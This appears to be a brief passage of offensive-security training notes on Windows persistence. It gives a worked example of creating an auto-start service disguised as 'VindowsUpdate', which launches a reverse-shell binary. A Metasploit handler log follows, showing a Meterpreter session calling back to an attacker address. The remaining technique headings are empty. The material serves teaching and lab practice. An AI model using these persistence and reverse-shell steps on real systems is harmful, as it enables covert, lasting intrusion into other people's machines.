Module 7: Windows Persistence
Persistence on Disk
Persisting via Windows Service
C:\Windows\system32>sc.exe create VindowsUpdate start= auto error= ignore binpath= C:\tools\windows_persistence\prst_servshell443.exe
[SC] CreateService SUCCESS
C:\Windows\system32>powershell -command Get-Date
powershell -command Get-Date
Friday, October 29, 2021 11:43:58 AMC:\Windows\system32>shutdown -r -t 0
C:\Windows\system32>...
[*] Started HTTPS reverse handler on https://192.168.51.50:443
[*] https://192.168.51.50:443 handling request from 192.168.51.10; (UUID: xzrlbcgs) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.51.50:443 -> 127.0.0.1 ) at 2021-10-29 15:33:44 -0400
meterpreter > Persisting via Scheduled Tasks
Persisting by DLL-Sideloading/Hijacking
Persistence in Registry
Using Run Keys
Using Winlogon Helper
Last updated